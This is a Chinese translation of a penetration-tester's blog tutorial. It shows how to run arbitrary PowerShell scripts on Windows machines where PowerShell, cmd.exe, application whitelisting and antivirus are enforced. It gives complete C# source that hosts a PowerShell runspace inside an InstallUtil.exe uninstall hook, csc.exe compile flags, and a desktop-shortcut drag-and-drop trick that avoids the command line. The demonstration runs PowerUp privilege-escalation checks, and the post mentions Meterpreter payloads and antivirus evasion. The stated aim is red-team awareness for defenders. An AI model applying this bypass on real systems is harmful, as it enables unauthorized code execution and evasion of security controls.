无PowerShell执行PowerShell脚本:绕过应用白名单、环境限制与杀毒软件

本文详细介绍了如何在禁用PowerShell和cmd.exe的环境中,通过C#程序调用.NET框架执行PowerShell脚本,以绕过应用白名单和杀毒软件检测。

Powershell Without Powershell – 如何绕过应用白名单、环境限制与杀毒软件

Brian Fehrman(特别鸣谢:Kelsey Bellew, Beau Bullock)

在之前的博客文章中,我们讨论了使用Casey Smith开发的方法来绕过杀毒软件和应用白名单。在最近的一次任务中,我们遇到了一个限制更严格的环境:不仅启用了杀毒软件和应用白名单,还禁用了PowerShell和cmd.exe的使用。这种情况我们遇到过几次。越来越多的公司意识到普通用户不需要访问cmd.exe、PowerShell或其他酷炫工具。我们认为这是保护环境安全的优秀措施。然而,防御者必须意识到,存在绕过这些限制的潜在方法。

如果您看过我们的“神圣摇钱牛”系列,可能已经见过我从C#程序中执行Invoke-Shellcode.ps1文件的方法。本质上,您将Invoke-Shellcode.ps1文件转换为一个长的单行字符串,并将其作为字符串变量嵌入到C#程序中。结果是一个独立的可执行文件,可以生成meterpreter shell并绕过大多数杀毒软件。剧透警告:完整教程将在未来的视频博客文章中发布。

那么这与本篇博客有什么关系?我们可以扩展这个概念,允许我们在不允许执行PowerShell的环境中执行任何PowerShell脚本。它是如何工作的?关键在于C#和PowerShell实际上只是.NET框架的前端。我们利用C#可执行文件直接调用PowerShell访问的相同.NET功能。如果您愿意,可以编写C#程序来完成PowerShell脚本的所有功能……但既然已经有了PowerShell脚本,为什么还要费那么多功夫呢?

废话少说,让我们开始吧!在Windows桌面上创建一个新的空白文本文件,命名为Program.cs(您可以随意命名,但这只是一个建议)。在编辑器(如NotePad++)中打开它。首先,我们需要通过添加以下using语句来导入一些功能:

1
2
3
4
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;

为了使程序正确编译,我们需要定义一个包含名为Main()的方法的类。通常,这是程序的主入口点。我们将类命名为与Program.cs文件相同的名称。将以下行添加到Program.cs文件的末尾:

1
2
3
4
5
6
public class Program
{
    public static void Main()
    {
    }
}

下一步是定义程序的真正入口点。我们将使用InstallUtil.exe实用程序来运行我们的程序,而不是直接执行它。这是让我们绕过应用白名单限制的魔法。为此,我们定义一个名为Sample的类,该类继承自Installer类。然后我们声明一个名为Uninstall的方法,这将是程序的真正入口点。在这种情况下,程序要执行的第一个任务是调用名为Mycode的类中的名为Exec的方法。我们还在类声明上方添加一条语句,表明此方法预计作为安装过程的一部分运行。将以下行添加到Program.cs文件的底部:

1
2
3
4
5
6
7
8
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Mycode.Exec();
    }
}

我们程序的最后一部分是定义Mycode类和名为Exec的方法。该方法读取位于@” “符号定义的路径中的PowerShell脚本。在这种情况下,我的PowerShell脚本位于C:\Users\fmc\Desktop\PowerUp.ps1。随后的行用于设置执行PowerShell脚本所需的变量和参数。最后,通过pipeline.Invoke()调用执行PowerShell脚本。将以下行添加到Program.cs文件的末尾:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class Mycode
{
    public static void Exec()
    {
        string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
        RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
        Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
        rspace.Open();
        Pipeline pipeline = rspace.CreatePipeline();
        pipeline.Commands.AddScript(command);
        pipeline.Invoke();
    }
}

整个Program.cs文件应如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;

public class Program
{
    public static void Main()
    {
    }
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Mycode.Exec();
    }
}

public class Mycode
{
    public static void Exec()
    {
        string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
        RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
        Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
        rspace.Open();
        Pipeline pipeline = rspace.CreatePipeline();
        pipeline.Commands.AddScript(command);
        pipeline.Invoke();
    }
}

在这个例子中,我使用了Veil-Framework的PowerUp脚本。以前,您会在PowerShell提示符下运行脚本,并通过类似以下方式将结果输出到文件:

1
2
Import-Module PowerUp.ps1
Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

为了通过此方法调用函数,我们需要在脚本末尾添加一个显式函数调用。打开PowerUp.ps1脚本,并将函数调用添加到文件的最底部。确保根据您的环境命名Out-File参数。保存脚本并退出。

1
Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

现在我们需要编译我们的程序。我们将使用csc.exe实用程序执行编译。我们必须传递几个标志才能使程序正确编译。以下命令可用于编译Program.cs文件并生成名为powerup.exe的可执行文件:

1
2
3
4
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe C:\Users\fmc\Desktop\Program.cs

但是……等等……如果cmd.exe被锁定了怎么办?别担心。打开文件资源管理器并导航到:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

右键单击csc.exe文件并选择“创建快捷方式”。您会收到一条消息,说您不能在那里创建快捷方式,它会提示您在桌面上创建一个。只需单击“是”。

现在,转到您的桌面。右键单击csc.exe快捷方式并选择“属性”。

单击“快捷方式”选项卡,选择“目标”字段中的所有文本,然后将其替换为以下文本(确保将C:\Users\fmc\Desktop\powerup.exe替换为符合您环境的文件名):

1
2
3
4
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe

然后,单击“应用”并关闭属性窗口。我们在这里所做的是指定在使用此快捷方式执行csc.exe时传递的参数。Program.cs路径故意被省略,原因有两个。主要原因是“目标”字段有最大字符限制,添加Program.cs文件的完整路径可能会超过此限制。Program.cs文件的完整路径将在本教程接下来的拖放步骤中自动作为参数传递给csc.exe程序。

要编译您的Program.cs文件,只需将Program.cs文件拖放到桌面上的csc.exe快捷方式图标上。如果一切顺利,您应该在桌面上得到一个powerup.exe文件。恭喜,您刚刚在不使用命令行或Visual Studio的情况下编译了一个C#程序!

最后,我们需要使用InstallUtil.exe实用程序运行我们的程序。这个过程与我们使用csc.exe应用程序的方式类似。导航回:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

右键单击InstallUtil.exe文件并选择“创建快捷方式”。您会收到一条消息,说您不能在那里创建快捷方式,它会提示您在桌面上创建一个。只需单击“是”。

转到您的桌面,右键单击InstallUtil快捷方式,然后单击“属性”。

在“快捷方式”选项卡下,删除“目标”字段中的所有内容,并替换为以下内容(确保更改日志文件名以匹配您的环境):

1
2
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
/logfile=C:\Users\fmc\Desktop\log.txt /LogToConsole=false /U

单击“应用”,然后关闭属性窗口。

现在,如果您还没有回到桌面,请返回桌面。将powerup.exe文件拖放到InstallUtil快捷方式文件上。

您应该会看到一个命令提示符弹出,同时脚本执行。但是,如果您打开任务管理器,您会注意到cmd.exe不在进程列表中;只有InstallUtil.exe。

我们可以在将powerup.exe文件拖放到InstallUtil快捷方式后立即从Windows命令提示符运行以下命令来确认这一点:

1
wmic process list full > Desktop\save.txt

通过检查wmic命令的输出,我们发现InstallUtil.exe实际上是通过explorer.exe调用的,而不是cmd.exe。太棒了!

脚本执行完成后,您应该在桌面上找到allchecks.txt文件。打开allchecks.txt文件以检查PowerUp.ps1 Invoke-AllChecks方法的输出。

就这样。我们有一种方法可以在启用应用白名单并禁用powershell.exe和cmd.exe访问的环境中执行PowerShell脚本。您几乎可以运行任何您想要的PowerShell脚本。但请注意以下几点:

  • 确保您的脚本不使用Write-Host,这会导致程序崩溃;改用Write-Output或Out-File。
  • 如果您的脚本提示用户输入,请在PowerShell脚本底部插入函数调用时使用-Force选项。
  • 可能还有其他字符和函数会导致此方法出现问题。如果您遇到任何问题,请告诉我,我们可以尝试解决。

此方法也可用于绕过杀毒软件。我们将在接下来的视频片段中详细介绍该过程!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计